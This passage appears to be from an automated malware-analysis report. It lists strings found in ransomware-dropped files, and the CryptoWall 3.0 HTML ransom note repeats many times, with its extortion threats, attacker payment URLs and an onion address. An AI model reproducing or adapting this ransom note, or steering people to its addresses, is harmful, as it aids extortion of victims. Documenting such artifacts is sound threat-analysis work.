for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html389.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html67.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html261.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html417.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html162.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt272.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html381.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt336.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt380.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html86.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt354.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt164.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt385.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html68.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt226.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt401.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html321.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt111.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt67.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt158.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html76.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt233.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html388.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
